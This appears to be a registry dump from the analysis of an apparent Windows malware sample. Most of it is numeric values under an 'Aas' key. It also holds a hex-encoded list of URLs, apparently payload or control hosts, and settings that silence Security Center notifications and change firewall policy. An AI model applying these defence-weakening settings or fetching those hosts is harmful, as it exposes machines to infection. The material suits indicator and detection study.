"43014726" = "0800687474703A2F2F636F6C697365752E6E65742F626F74746F6D2E67696600687474703A2F2F726164696F657870657274666D2E636F6D2F626F74746F6D2E67696600687474703A2F2F7777772E6E616E6774686F6E676261797265736F72742E64652F626F74746F6D2E67696600687474703A2F2F7777772E61727469706C6578692E636F6D2F626F74746F6D2E67696600687474703A2F2F656D7072657361732D636D2E636F6D2F696D6167652E67696600687474703A2F2F766164697675646169616D6D616E7472616E73706F7274732E636F6D2F696D616765732F626F74746F6D2E67696600687474703A2F2F746174746F6F696E696E6469612E636F6D2F696D6167652E67696600687474703A2F2F636761636C61676F73617265612E6F72672F696D672F626F74746F6D2E676966"
[HKCU\Software\Aas]
"a4_269" = "1928493549"
"a4_268" = "1921324428"
"a4_461" = "3304964781"
"a4_460" = "3297795660"
"a4_463" = "3319303023"
"a4_462" = "3312133902"
"a4_465" = "3333641265"
"a4_464" = "3326472144"
"a4_467" = "3347979507"
"a4_466" = "3340810386"
"a4_469" = "3362317749"
"a4_468" = "3355148628"
"a4_897" = "2135734241"
"a4_898" = "2142903362"
"a4_899" = "2150072483"
"a2_560" = "4014705609"
"a4_319" = "2286949599"
"a4_318" = "2279780478"
"a1_840" = "1847541535"
"a4_313" = "2243934873"
"a4_312" = "2236765752"
"a4_311" = "2229596631"
"a4_310" = "2222427510"
"a4_317" = "2272611357"
"a4_316" = "2265442236"
"a4_315" = "2258273115"
"a4_314" = "2251103994"
"a3_130" = "915379051"
"a1_923" = "121801972"
"a3_131" = "922302346"
"a3_132" = "962897965"
"a2_880" = "2013861655"
"a1_107" = "172470777"
"a1_106" = "4177413891"
"a1_105" = "260522610"
"a1_104" = "535477566"
"a1_103" = "190511029"
"a1_102" = "3060413720"
"a1_101" = "2134162952"
"a1_100" = "3174186030"
"a3_134" = "943841519"
"a1_109" = "1031433828"
"a1_62" = "293757223"
"a1_61" = "464425057"
"a3_137" = "998890944"
"a2_883" = "2035359577"
"a3_686" = "606179783"
"a2_489" = "3505694166"
"a2_488" = "3498525142"
"a3_687" = "613616230"
"a2_485" = "3477025123"
"a2_484" = "3469857435"
"a2_487" = "3491359171"
"a2_486" = "3484201739"
"a2_481" = "3448355180"
"a2_480" = "3441175863"
"a2_483" = "3462692564"
"a2_482" = "3455507199"
"a3_974" = "2704311079"
"a3_685" = "632749476"
"a3_975" = "2711758662"
"a2_882" = "2028195093"
"a3_976" = "2685262841"
"a2_809" = "1504848266"
"a2_808" = "1497690617"
"a4_721" = "873968945"
"a3_680" = "596757377"
"a2_801" = "1447507789"
"a2_800" = "1440329785"
"a2_803" = "1461832403"
"a3_681" = "570649632"
"a2_805" = "1476178121"
"a2_804" = "1469010823"
"a2_807" = "1490505036"
"a2_806" = "1483346579"
"a3_145" = "1022800088"
"a3_972" = "2656717413"
"a3_144" = "1015749817"
"a2_885" = "2049711416"
"a3_973" = "2663771780"
"a3_147" = "1070844314"
"a2_661" = "443824430"
"a2_660" = "436654860"
"a2_663" = "458157532"
"a3_146" = "1063277947"
"a2_665" = "472491874"
"a2_664" = "465337938"
"a2_667" = "486845802"
"a2_666" = "479659629"
"a2_669" = "501174268"
"a3_141" = "1027810116"
"a3_140" = "986812197"
"a2_881" = "2021020241"
"a3_143" = "1008236550"
"a2_249" = "1785118686"
"a2_248" = "1777934893"
"a2_247" = "1770767182"
"a2_246" = "1763601376"
"a2_245" = "1756432257"
"a2_244" = "1749267796"
"a2_243" = "1742105536"
"a2_242" = "1734918933"
"a2_241" = "1727751979"
"a2_240" = "1720582415"
"a1_356" = "3529970834"
"a1_357" = "1959976732"
"a1_354" = "838128352"
"a1_355" = "3395329709"
"a1_352" = "3490653659"
"a1_353" = "3108953327"
"a1_350" = "1472816726"
"a1_351" = "1840151460"
"a2_855" = "1834624002"
"a3_639" = "269411382"
"a1_358" = "372211455"
"a1_359" = "1031242570"
"a3_638" = "295912343"
"a2_887" = "2064045165"
"a2_886" = "2056878825"
"a3_795" = "1387647762"
"a3_718" = "869065255"
"a3_719" = "843023942"
"a3_714" = "807050403"
"a3_715" = "813969602"
"a3_716" = "821548389"
"a3_717" = "862013828"
"a3_710" = "778506031"
"a3_711" = "785556302"
"a3_712" = "826034145"
"a3_713" = "833615872"
"a2_820" = "1583714312"
"a2_119" = "853130460"
"a2_118" = "845963172"
"a4_869" = "1934998853"
"a4_868" = "1927829732"
"a2_113" = "810112262"
"a2_112" = "802946936"
"a2_111" = "795778315"
"a2_110" = "788609970"
"a2_117" = "838793678"
"a2_116" = "831612746"
"a2_115" = "824445091"
"a2_114" = "817276621"
"a3_534" = "3844868223"
"a3_535" = "3852446878"
"a3_536" = "3825811761"
"a3_537" = "3832866128"
"a3_530" = "3816471291"
"a3_531" = "3823394586"
"a3_532" = "3797414845"
"a3_533" = "3804403676"
"a3_538" = "3840383475"
"a3_539" = "3880858130"
"a2_813" = "1533537735"
"a3_152" = "1106310065"
"a3_153" = "1080268752"
"a3_150" = "1092336383"
"a3_151" = "1099259678"
"a3_156" = "1135231285"
"a3_157" = "1108731220"
"a3_154" = "1087178867"
"a3_155" = "1127787666"
"a3_628" = "223959005"
"a3_629" = "231000188"
"a3_158" = "1115724279"
"a3_159" = "1123168790"
"a2_59" = "422982927"
"a2_58" = "415802464"
"a2_53" = "379972408"
"a2_52" = "372801215"
"a2_51" = "365618236"
"a2_50" = "358450819"
"a2_57" = "408648142"
"a2_56" = "401467631"
"a2_55" = "394301272"
"a2_54" = "387124728"
"a4_842" = "1741432586"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKCU\Software\Aas]
"a4_55" = "394301655"
"a4_54" = "387132534"
"a4_57" = "408639897"
"a4_56" = "401470776"
"a4_51" = "365625171"
"a4_50" = "358456050"
"a4_53" = "379963413"
"a4_52" = "372794292"
"a3_440" = "3171413137"
"a3_441" = "3178398000"
"a3_442" = "3185321299"
"a3_443" = "3159349746"
"a4_59" = "422978139"
"a4_58" = "415809018"
"a3_446" = "3214379735"
"a3_447" = "3187748726"
"a1_644" = "85860806"
"a1_645" = "943266098"
"a1_646" = "1275161247"
"a1_647" = "778429078"
"a1_640" = "2031478145"
"a1_641" = "1260138380"
"a1_642" = "2542554149"
"a1_643" = "3717439469"
"a1_648" = "1009101878"
"a1_649" = "726872153"
[HKCU\Software\Aas\695404737]
"21507363" = "0"
[HKCU\Software\Aas]
"a2_953" = "2537196976"
"a3_459" = "3307312066"
"a3_458" = "3266772899"
"a4_784" = "1325623568"
"a4_785" = "1332792689"
"a4_786" = "1339961810"
"a4_787" = "1347130931"
"a4_780" = "1296947084"
"a4_781" = "1304116205"
"a4_782" = "1311285326"
"a4_783" = "1318454447"
"a1_828" = "1654895203"
"a1_829" = "2084059969"
"a4_788" = "1354300052"
"a3_451" = "3249847498"
"a4_670" = "508343774"
"a4_671" = "515512895"
"a4_672" = "522682016"
"a3_450" = "3242793131"
"a4_674" = "537020258"
"a4_675" = "544189379"
"a4_676" = "551358500"
"a4_677" = "558527621"
"a4_678" = "565696742"
"a1_604" = "2572639365"
"a1_916" = "987201883"
"a1_917" = "1728883244"
"a1_910" = "153610731"
"a1_911" = "2351596148"
"a1_912" = "1224496363"
"a1_913" = "2166179551"
"a3_844" = "1772455397"
"a3_845" = "1746353668"
"a3_846" = "1753404071"
"a3_847" = "1760327366"
"a3_840" = "1743926369"
"a3_841" = "1717414016"
"a3_842" = "1724861731"
"a3_843" = "1765466434"
"a3_848" = "1801448313"
"a3_849" = "1808437144"
"a3_702" = "721038295"
"a4_874" = "1970844458"
"a1_654" = "2838306199"
"a4_961" = "2594557985"
"a4_414" = "2968016094"
"a4_415" = "2975185215"
"a4_416" = "2982354336"
"a4_417" = "2989523457"
"a4_410" = "2939339610"
"a4_411" = "2946508731"
"a4_412" = "2953677852"
"a4_413" = "2960846973"
"a4_418" = "2996692578"
"a4_419" = "3003861699"
"a3_806" = "1500078927"
"a3_807" = "1507067886"
"a1_138" = "40193042"
"a1_139" = "3020761307"
"a3_907" = "2190592386"
"a1_132" = "865484371"
"a1_133" = "149293790"
"a1_130" = "3210990875"
"a1_131" = "209002904"
"a1_136" = "3905041350"
"a1_137" = "614817463"
"a1_134" = "3339434984"
"a1_135" = "3477706314"
"a3_768" = "1227770153"
"a4_328" = "2351471688"
"a4_329" = "2358640809"
"a4_326" = "2337133446"
"a4_327" = "2344302567"
"a4_324" = "2322795204"
"a4_325" = "2329964325"
"a4_322" = "2308456962"
"a4_323" = "2315626083"
"a4_320" = "2294118720"
"a4_321" = "2301287841"
"a4_528" = "3785295888"
"a4_529" = "3792465009"
"a4_258" = "1849633218"
"a4_259" = "1856802339"
"a4_252" = "1806618492"
"a4_253" = "1813787613"
"a4_250" = "1792280250"
"a4_251" = "1799449371"
"a4_256" = "1835294976"
"a4_257" = "1842464097"
"a4_254" = "1820956734"
"a4_255" = "1828125855"
"a3_909" = "2238580292"
"a2_470" = "3369489360"
"a2_471" = "3376657428"
"a2_472" = "3383833992"
"a2_473" = "3390991694"
"a2_474" = "3398159533"
"a2_475" = "3405326558"
"a2_476" = "3412504993"
"a2_477" = "3419673603"
"a2_478" = "3426841842"
"a2_479" = "3434017454"
"a4_880" = "2013859184"
"a3_908" = "2231591461"
"a1_797" = "1627799363"
"a2_878" = "1999524137"
"a2_879" = "2006695368"
"a2_874" = "1970843237"
"a2_875" = "1978011346"
"a2_876" = "1985178755"
"a2_877" = "1992358634"
"a2_870" = "1942175373"
"a2_871" = "1949343280"
"a2_872" = "1956511187"
"a2_873" = "1963683300"
"a1_349" = "885211895"
"a1_348" = "31767468"
"a2_586" = "4201110354"
"a2_587" = "4208265448"
"a2_580" = "4158091875"
"a2_581" = "4165267496"
"a2_582" = "4172427129"
"a2_583" = "4179592460"
"a1_341" = "4091180366"
"a1_340" = "2677407643"
"a1_343" = "861644975"
"a1_342" = "2967288014"
"a1_345" = "4129655746"
"a1_344" = "2768051724"
"a1_347" = "3340530990"
"a1_346" = "4002966369"
"a2_614" = "106878846"
"a2_615" = "114034483"
"a2_616" = "121213408"
"a2_617" = "128372606"
"a2_610" = "78198456"
"a2_611" = "85363126"
"a2_612" = "92532350"
"a2_613" = "99699655"
"a2_618" = "135547763"
"a2_619" = "142715859"
"a2_272" = "1950003866"
"a2_273" = "1957174390"
"a2_270" = "1935655833"
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UpdatesDisableNotify" = "1"
[HKCU\Software\Aas]
"a2_276" = "1978673695"
"a2_277" = "1985840670"
"a2_274" = "1964341023"
"a2_275" = "1971505928"
"a2_908" = "2214597672"
"a2_909" = "2221755632"
"a2_278" = "1993024668"
"a2_279" = "2000189568"
"a1_842" = "3821617444"
"a2_298" = "2136406749"
"a2_299" = "2143559270"
"a1_841" = "3633604592"
"a2_290" = "2079043101"
"a2_291" = "2086208148"
"a2_292" = "2093374318"
"a2_293" = "2100558524"
"a2_294" = "2107728954"
"a2_295" = "2114893052"
"a2_296" = "2122059773"
"a2_297" = "2129224110"
"a2_728" = "924148799"
"a2_729" = "931319070"
"a2_720" = "866808113"
"a2_721" = "873966270"
"a2_722" = "881135388"
"a2_723" = "888302109"
"a2_724" = "895480857"
"a2_725" = "902652626"
"a2_726" = "909816525"
"a2_727" = "916991766"
"a1_594" = "199202734"
"a4_450" = "3226104450"
"a3_791" = "1392659870"
"a3_709" = "804547212"
"a4_451" = "3233273571"
"a3_707" = "790584778"
"a3_706" = "749582763"
"a3_705" = "742524168"
"a3_704" = "769089769"
"a3_703" = "761646198"
"a4_452" = "3240442692"
"a3_701" = "713602996"
"a3_700" = "706548501"
"a4_890" = "2085550394"
"a4_891" = "2092719515"
"a4_892" = "2099888636"
"a4_453" = "3247611813"
"a4_894" = "2114226878"
"a4_895" = "2121395999"
"a2_128" = "917644619"
"a2_129" = "924825050"
"a2_126" = "903311891"
"a2_127" = "910485973"
"a2_124" = "888963557"
"a2_125" = "896146801"
"a2_122" = "874630946"
"a2_123" = "881794749"
"a2_120" = "860296853"
"a2_121" = "867460826"
"a3_35" = "267899754"
"a3_526" = "3787937127"
"a3_525" = "3780489412"
"a3_524" = "3739884709"
"a3_523" = "3732895746"
"a4_456" = "3269119176"
"a3_521" = "3751945024"
"a3_520" = "3744501537"
"a2_824" = "1612382240"
"a4_457" = "3276288297"
"a3_529" = "3809412696"
"a3_528" = "3768345145"
"a1_12" = "203228927"
"a1_13" = "4285522621"
"a1_10" = "4102467260"
"a1_11" = "2869167942"
"a1_16" = "2378949538"
"a1_17" = "3992093224"
"a1_14" = "1198570271"
"a1_15" = "2199948281"
"a1_18" = "2242751740"
"a1_19" = "962430714"
"a3_149" = "1051199068"
"a3_148" = "1044210237"
"a2_896" = "2128563597"
"a2_48" = "344125719"
"a2_49" = "351283470"
"a1_846" = "136844753"
"a2_40" = "286765823"
"a2_41" = "293930723"
"a2_42" = "301075985"
"a2_43" = "308266458"
"a2_44" = "315450726"
"a2_45" = "322616930"
"a2_46" = "329782067"
"a2_47" = "336951023"
"a2_897" = "2135728398"
"a4_42" = "301103082"
"a4_43" = "308272203"
"a4_40" = "286764840"
"a4_41" = "293933961"
"a4_46" = "329779566"
"a4_47" = "336948687"
"a4_44" = "315441324"
"a4_45" = "322610445"
"a3_453" = "3230791052"
"a3_452" = "3223736685"
"a4_48" = "344117808"
"a4_49" = "351286929"
"a3_457" = "3259718400"
"a3_456" = "3285821153"
"a3_455" = "3278766670"
"a3_454" = "3271781935"
"a1_657" = "121312424"
"a1_656" = "3218834258"
"a1_655" = "1967242607"
"a1_632" = "1744417603"
"a1_653" = "1856009018"
"a1_652" = "2952767282"
"a1_651" = "763775486"
"a1_650" = "4243493368"
"a3_796" = "1428649909"
"a1_659" = "809563242"
"a1_658" = "2111647343"
"a3_797" = "1435691988"
"a3_18" = "112354555"
"a3_19" = "152901914"
"a3_14" = "83367783"
"a3_15" = "124488582"
"a3_16" = "131411001"
"a3_17" = "104906840"
"a3_10" = "88506851"
"a3_11" = "95435266"
"a3_12" = "69459621"
"a3_13" = "76378820"
"a3_240" = "1737322713"
"a4_886" = "2056873910"
"a3_793" = "1406704208"
"a3_809" = "1488018592"
"a3_798" = "1442679927"
"a3_799" = "1416568982"
"a3_248" = "1761236945"
"a2_172" = "1233086403"
"a4_797" = "1418822141"
"a4_796" = "1411653020"
"a4_795" = "1404483899"
"a4_794" = "1397314778"
"a4_793" = "1390145657"
"a4_792" = "1382976536"
"a4_791" = "1375807415"
"a4_790" = "1368638294"
"a1_839" = "2425718492"
"a1_838" = "4124844507"
"a4_799" = "1433160383"
"a4_798" = "1425991262"
"a4_663" = "458159927"
"a4_662" = "450990806"
"a4_661" = "443821685"
"a4_660" = "436652564"
"a4_667" = "486836411"
"a4_666" = "479667290"
"a4_665" = "472498169"
"a4_664" = "465329048"
"a1_907" = "895767063"
"a1_906" = "1278281630"
"a4_669" = "501174653"
"a4_668" = "494005532"
"a1_903" = "2554457243"
"a1_902" = "3471324827"
"a1_901" = "3830956651"
"a1_900" = "4163835824"
"a3_857" = "1865835152"
"a3_856" = "1824837233"
"a3_855" = "1817794014"
"a3_854" = "1844425151"
"a3_853" = "1836850460"
"a3_852" = "1829861629"
"a3_851" = "1789379674"
"a3_850" = "1781801019"
"a1_635" = "4204695371"
"a4_949" = "2508528533"
"a3_859" = "1846328146"
"a3_858" = "1872824115"
"a1_734" = "2351367013"
"a2_644" = "321951930"
"a4_976" = "2702094800"
"a4_454" = "3254780934"
"a1_524" = "1464027346"
"a4_407" = "2917832247"
"a4_406" = "2910663126"
"a4_405" = "2903494005"
"a4_404" = "2896324884"
"a4_403" = "2889155763"
"a4_402" = "2881986642"
"a4_401" = "2874817521"
"a4_400" = "2867648400"
"a1_825" = "3473618217"
"a1_879" = "2313153622"
"a3_640" = "276404393"
"a4_409" = "2932170489"
"a4_408" = "2925001368"
"a3_641" = "283851976"
"a3_646" = "352855791"
"a3_647" = "360438542"
"a4_789" = "1361469173"
"a1_129" = "239460540"
"a1_128" = "2504427486"
"a1_125" = "4271146881"
"a1_124" = "1642747526"
"a1_127" = "1256214593"
"a1_126" = "39139310"
"a1_121" = "2223410573"
"a1_120" = "443687346"
"a1_123" = "4073196769"
"a1_122" = "2251909252"
"a4_331" = "2372979051"
"a4_330" = "2365809930"
"a4_333" = "2387317293"
"a4_332" = "2380148172"
"a4_335" = "2401655535"
"a4_334" = "2394486414"
"a4_337" = "2415993777"
"a4_336" = "2408824656"
"a4_339" = "2430332019"
"a4_338" = "2423162898"
"a1_833" = "205640730"
"a4_539" = "3864156219"
"a4_538" = "3856987098"
"a4_249" = "1785111129"
"a4_248" = "1777942008"
"a1_832" = "448031775"
"a4_245" = "1756434645"
"a4_244" = "1749265524"
"a4_247" = "1770772887"
"a4_246" = "1763603766"
"a4_241" = "1727758161"
"a4_240" = "1720589040"
"a4_243" = "1742096403"
"a4_242" = "1734927282"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
[HKCU\Software\Aas]
"a1_830" = "1074498061"
"a1_837" = "1723888879"
"a1_836" = "745042857"
"a1_835" = "3964641101"
"a1_754" = "1873932044"
"a4_993" = "2823969857"
"a1_834" = "2184901822"
"a1_634" = "2401423748"
"a2_463" = "3319304568"
"a2_462" = "3312138573"
"a2_461" = "3304974183"
"a2_460" = "3297789910"
"a2_467" = "3347972784"
"a2_466" = "3340807908"
"a2_465" = "3333638165"
"a2_464" = "3326473751"
"a2_469" = "3362323429"
"a2_468" = "3355156471"
"a1_934" = "2195706075"
"a4_802" = "1454667746"
"a4_872" = "1956506216"
"a2_869" = "1934989455"
"a2_868" = "1927824939"
"a2_867" = "1920655849"
"a2_866" = "1913491109"
"a2_865" = "1906324818"
"a2_864" = "1899158103"
"a2_863" = "1891976049"
"a1_791" = "3893969132"
"a2_861" = "1877653525"
"a2_860" = "1870468175"
"a2_597" = "4279962490"
"a2_596" = "4272788217"
"a2_595" = "4265630676"
"a2_594" = "4258463249"
"a1_338" = "2656709164"
"a1_339" = "2359977788"
"a2_591" = "4236944520"
"a2_590" = "4229775416"
"a1_334" = "3901090254"
"a1_335" = "1738648241"
"a1_336" = "421250823"
"a1_337" = "3758791400"
"a1_330" = "260884836"
"a1_331" = "4132079154"
"a1_332" = "3210931586"
"a1_333" = "2541799523"
"a2_607" = "56695958"
"a2_606" = "49513422"
"a3_30" = "231909751"
"a2_604" = "35179777"
"a1_64" = "3498252087"
"a2_602" = "20852535"
"a2_601" = "13679060"
"a2_600" = "6512445"
"a4_875" = "1978013579"
"a2_609" = "71032747"
"a2_608" = "63864223"
"a2_265" = "1899820601"
"a2_264" = "1892655026"
"a2_267" = "1914153293"
"a2_266" = "1906987477"
"a2_261" = "1871138576"
"a2_260" = "1863969147"
"a2_263" = "1885473128"
"a2_262" = "1878303577"
"a2_919" = "2293449540"
"a1_908" = "1071248464"
"a2_269" = "1928490499"
"a2_268" = "1921320711"
"a1_905" = "3362598286"
"a2_884" = "2042543790"
"a1_482" = "3510708731"
"a1_483" = "2830220989"
"a2_289" = "2071884368"
"a2_288" = "2064698868"
"a1_486" = "3381474652"
"a1_487" = "555891261"
"a1_484" = "2339353656"
"a1_485" = "4202320296"
"a2_283" = "2028859324"
"a2_282" = "2021689965"
"a2_281" = "2014523592"
"a2_280" = "2007359443"
"a2_287" = "2057543125"
"a2_286" = "2050372393"
"a2_285" = "2043192596"
"a2_284" = "2036039610"
"a2_739" = "1003019711"
"a2_738" = "995837567"
"a3_522" = "3725445091"
"a2_733" = "960000522"
"a2_732" = "952835023"
"a2_731" = "945667100"
"a2_730" = "938486162"
"a2_737" = "988669522"
"a2_736" = "981503228"
"a2_735" = "974328812"
"a2_734" = "967175481"
"a4_446" = "3197427966"
"a1_637" = "3037200901"
"a3_912" = "2226582457"
"a1_240" = "3538288716"
"a1_241" = "3852805482"
"a1_242" = "2850437858"
"a1_243" = "2274200642"
"a1_244" = "2645251261"
"a1_245" = "1341745288"
"a1_246" = "2616083040"
"a1_247" = "963378126"
"a1_248" = "63685036"
"a1_249" = "645581580"
"a3_738" = "978859403"
"a3_739" = "986426922"
"a4_445" = "3190258845"
"a2_131" = "939163236"
"a2_130" = "931979480"
"a2_133" = "953499034"
"a2_132" = "946331233"
"a2_135" = "967832358"
"a2_134" = "960664188"
"a2_137" = "982167393"
"a2_136" = "974999171"
"a2_139" = "996515055"
"a2_138" = "989331515"
"a4_889" = "2078381273"
"a4_888" = "2071212152"
"a2_79" = "566354828"
"a2_78" = "559189217"
"a3_916" = "2254979389"
"a3_288" = "2048100105"
"a3_289" = "2055027624"
"a3_184" = "1336102801"
"a3_917" = "2262558044"
"a3_282" = "2038692083"
"a3_283" = "2045680914"
"a3_280" = "1990631473"
"a3_281" = "2031109200"
"a3_286" = "2067091063"
"a3_287" = "2074141334"
"a3_284" = "2019045813"
"a3_285" = "2026624468"
"a3_606" = "66123703"
"a3_607" = "40004566"
"a3_604" = "52150005"
"a3_605" = "59069204"
"a3_602" = "4023859"
"a3_603" = "11016786"
"a3_600" = "23079281"
"a3_601" = "30657936"
"a4_700" = "723417404"
"a3_608" = "46992457"
"a3_609" = "87597288"
"a1_796" = "3616260140"
"a1_583" = "2000610472"
"a1_794" = "4074999183"
"a1_795" = "714133860"
"a1_792" = "3583989456"
"a1_793" = "3109885868"
"a1_790" = "885512451"
"a1_582" = "3424105541"
"a3_635" = "240424626"
"a3_911" = "2219532038"
"a1_581" = "2951847016"
"a1_798" = "213685507"
"a1_799" = "3751976081"
"a1_580" = "4186446489"
"a3_198" = "1436076335"
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"
[HKCU\Software\Aas]
"a3_196" = "1388556397"
"a3_197" = "1429034124"
"a3_194" = "1407548331"
"a3_195" = "1380982730"
"a3_192" = "1393042153"
"a3_193" = "1400620808"
"a3_190" = "1345525207"
"a3_191" = "1352568438"
"a2_981" = "2737946390"
"a1_585" = "1389930775"
"a3_468" = "3338201981"
"a3_469" = "3379269532"
"a3_466" = "3324236475"
"a3_467" = "3331159770"
"a3_464" = "3343287801"
"a3_465" = "3350216216"
"a3_462" = "3295169831"
"a3_463" = "3302744390"
"a3_460" = "3314758757"
"a3_461" = "3321800836"
"a1_468" = "824853295"
"a1_469" = "1760212455"
"a3_518" = "3696916079"
"a3_519" = "3703958158"
"a1_460" = "1370906642"
"a1_461" = "1910358272"
"a1_462" = "4257046371"
"a1_463" = "1766540849"
"a1_464" = "3655888261"
"a1_465" = "696715769"
"a1_466" = "1586393314"
"a1_467" = "1635017637"
"a3_29" = "224867540"
"a3_28" = "183865525"
"a1_668" = "2991387730"
"a1_669" = "4143637566"
"a3_21" = "167399900"
"a3_20" = "159956413"
"a3_23" = "148336286"
"a3_22" = "140888703"
"a3_25" = "195929936"
"a3_24" = "188875569"
"a3_27" = "176880658"
"a3_26" = "169827315"
"a3_996" = "2828657485"
"a2_830" = "1655396017"
"a3_994" = "2847713931"
"a3_995" = "2821607210"
"a3_992" = "2800197065"
"a3_499" = "3560555322"
"a3_990" = "2785625399"
"a2_831" = "1662570264"
"a3_498" = "3587059355"
"a2_832" = "1669734711"
"a3_998" = "2876651535"
"a3_497" = "3579611768"
"a2_833" = "1676903809"
"a3_496" = "3539014105"
"a2_834" = "1684085773"
"a3_495" = "3532029350"
"a2_835" = "1691240500"
"a4_955" = "2551543259"
"a3_494" = "3524581639"
"a2_836" = "1698426483"
"a3_493" = "3551077604"
"a2_837" = "1705585879"
"a3_492" = "3544154181"
"a3_491" = "3503090722"
"a3_527" = "3761424774"
"a3_490" = "3496037251"
"a3_775" = "1244236686"
"a4_915" = "2264778419"
"a3_868" = "1944793805"
"a2_529" = "3792466395"
"a4_914" = "2257609298"
"a3_862" = "1901368503"
"a3_863" = "1908803798"
"a3_860" = "1853775861"
"a3_861" = "1860825108"
"a3_866" = "1930361355"
"a3_867" = "1937350314"
"a3_864" = "1882303817"
"a3_865" = "1889747432"
"a1_806" = "1318172991"
"a1_807" = "1141291899"
"a1_804" = "978401017"
"a1_805" = "333887675"
"a1_802" = "827852222"
"a1_803" = "792361878"
"a1_800" = "2001063510"
"a1_801" = "2080597755"
"a1_808" = "659337830"
"a1_809" = "2176668869"
"a4_656" = "407976080"
"a4_657" = "415145201"
"a4_654" = "393637838"
"a4_655" = "400806959"
"a4_652" = "379299596"
"a4_653" = "386468717"
"a4_650" = "364961354"
"a4_651" = "372130475"
"a1_938" = "1797530655"
"a1_939" = "587781892"
"a4_658" = "422314322"
"a4_659" = "429483443"
"a3_773" = "1263760076"
"a4_849" = "1791616433"
"a4_919" = "2293454903"
"a4_918" = "2286285782"
"a2_656" = "407967943"
"a1_875" = "1883435402"
"a4_925" = "2336469629"
"a3_762" = "1151312531"
"a1_684" = "4198934133"
"a4_989" = "2795293373"
"a4_438" = "3140074998"
"a4_439" = "3147244119"
"a1_874" = "2478675315"
"a4_432" = "3097060272"
"a4_433" = "3104229393"
"a4_430" = "3082722030"
"a4_431" = "3089891151"
"a4_436" = "3125736756"
"a4_437" = "3132905877"
"a4_434" = "3111398514"
"a4_435" = "3118567635"
"a3_928" = "2374546825"
"a4_344" = "2466177624"
"a4_345" = "2473346745"
"a4_346" = "2480515866"
"a4_347" = "2487684987"
"a4_340" = "2437501140"
"a4_341" = "2444670261"
"a4_342" = "2451839382"
"a4_343" = "2459008503"
"a3_764" = "1198848853"
"a4_348" = "2494854108"
"a4_349" = "2502023229"
"a4_508" = "3641913468"
"a4_509" = "3649082589"
"a4_506" = "3627575226"
"a4_507" = "3634744347"
"a4_504" = "3613236984"
"a4_505" = "3620406105"
"a4_502" = "3598898742"
"a4_503" = "3606067863"
"a4_500" = "3584560500"
"a4_501" = "3591729621"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Aas]
"a3_383" = "2729068342"
"a3_382" = "2721620631"
"a4_882" = "2028197426"
"a3_381" = "2748124788"
"a2_456" = "3269121835"
"a2_457" = "3276287386"
"a2_454" = "3254787281"
"a3_380" = "2741212629"
"a2_452" = "3240434527"
"a2_453" = "3247620095"
"a2_450" = "3226096341"
"a2_451" = "3233267917"
"a3_387" = "2757612682"
"a3_633" = "259938800"
"a2_458" = "3283454938"
"a3_386" = "2784112747"
"a3_385" = "2776670152"
"a4_881" = "2021028305"
"a3_384" = "2769681321"
"a1_735" = "3347775847"
"a2_852" = "1813121323"
"a1_730" = "985287107"
"a2_850" = "1798788341"
"a2_851" = "1805945785"
"a2_856" = "1841803655"
"a2_857" = "1848974051"
"a2_854" = "1827455205"
"a1_731" = "1882169413"
"a3_632" = "252486993"
"a2_858" = "1856139779"
"a2_859" = "1863306802"
"a1_732" = "1808426536"
"a1_733" = "1286299107"
"a1_329" = "3557073142"
"a1_328" = "2716525855"
"a1_327" = "83051865"
"a1_326" = "2868591186"
"a1_325" = "1086560923"
"a1_324" = "3230256250"
"a1_323" = "3557358295"
"a1_322" = "3289918036"
"a1_321" = "3870484989"
"a1_320" = "2072622334"
"a2_650" = "364953859"
"a1_436" = "2642361738"
"a1_736" = "2719074703"
"a3_631" = "211878206"
"a1_737" = "1916874520"
"a2_652" = "379304702"
"a3_923" = "2339079058"
"a2_926" = "2343645972"
"a2_927" = "2350801447"
"a2_924" = "2329303227"
"a2_653" = "386473428"
"a4_887" = "2064043031"
"a2_923" = "2322133147"
"a2_920" = "2300619679"
"a2_921" = "2307800194"
"a2_654" = "393639272"
"a2_928" = "2357969392"
"a2_655" = "400804723"
"a3_630" = "204893343"
"a2_657" = "415140750"
"a3_922" = "2298015603"
"a1_495" = "3224079570"
"a1_494" = "2626144891"
"a1_497" = "2194341612"
"a1_496" = "1191672762"
"a1_491" = "367116614"
"a1_490" = "473894643"
"a1_493" = "2918182331"
"a1_492" = "2542476240"
"a1_499" = "1590087750"
"a1_498" = "2124659835"
"a3_637" = "288468852"
"a2_708" = "780764508"
"a2_709" = "787945190"
"a2_706" = "766428507"
"a2_707" = "773595460"
"a2_704" = "752102107"
"a2_705" = "759263666"
"a2_702" = "737763753"
"a2_703" = "744928232"
"a2_700" = "723411927"
"a2_701" = "730579694"
"a4_885" = "2049704789"
"a2_638" = "278924492"
"a2_639" = "286108778"
"a3_808" = "1481095169"
"a2_632" = "235924318"
"a2_633" = "243084254"
"a2_630" = "221586372"
"a2_631" = "228750785"
"a2_636" = "264600943"
"a2_637" = "271768454"
"a2_634" = "250250858"
"a2_635" = "257417396"
"a1_253" = "3878932"
"a1_252" = "2160066130"
"a1_251" = "2172330656"
"a1_250" = "3037257990"
"a1_257" = "3163317516"
"a1_256" = "2093779156"
"a1_255" = "2023335510"
"a1_254" = "3761083230"
"a3_920" = "2284050097"
"a1_259" = "738319228"
"a1_258" = "3607586684"
"a3_729" = "914469392"
"a3_728" = "907418097"
"a4_884" = "2042535668"
"a2_144" = "1032347991"
"a2_145" = "1039517271"
"a2_146" = "1046683819"
"a2_147" = "1053867545"
"a2_140" = "1003680491"
"a2_141" = "1010854464"
"a2_142" = "1018018610"
"a2_143" = "1025181772"
"a1_781" = "339293682"
"a1_780" = "422644274"
"a2_68" = "487491987"
"a2_69" = "494671955"
"a2_148" = "1061035831"
"a2_149" = "1068200415"
"a1_787" = "1256572409"
"a4_455" = "3261950055"
"a3_299" = "2126993250"
"a3_298" = "2119545539"
"a3_295" = "2131608046"
"a3_294" = "2091003215"
"a3_297" = "2146049696"
"a3_296" = "2139060737"
"a3_291" = "2103079018"
"a3_290" = "2062081995"
"a3_293" = "2083555628"
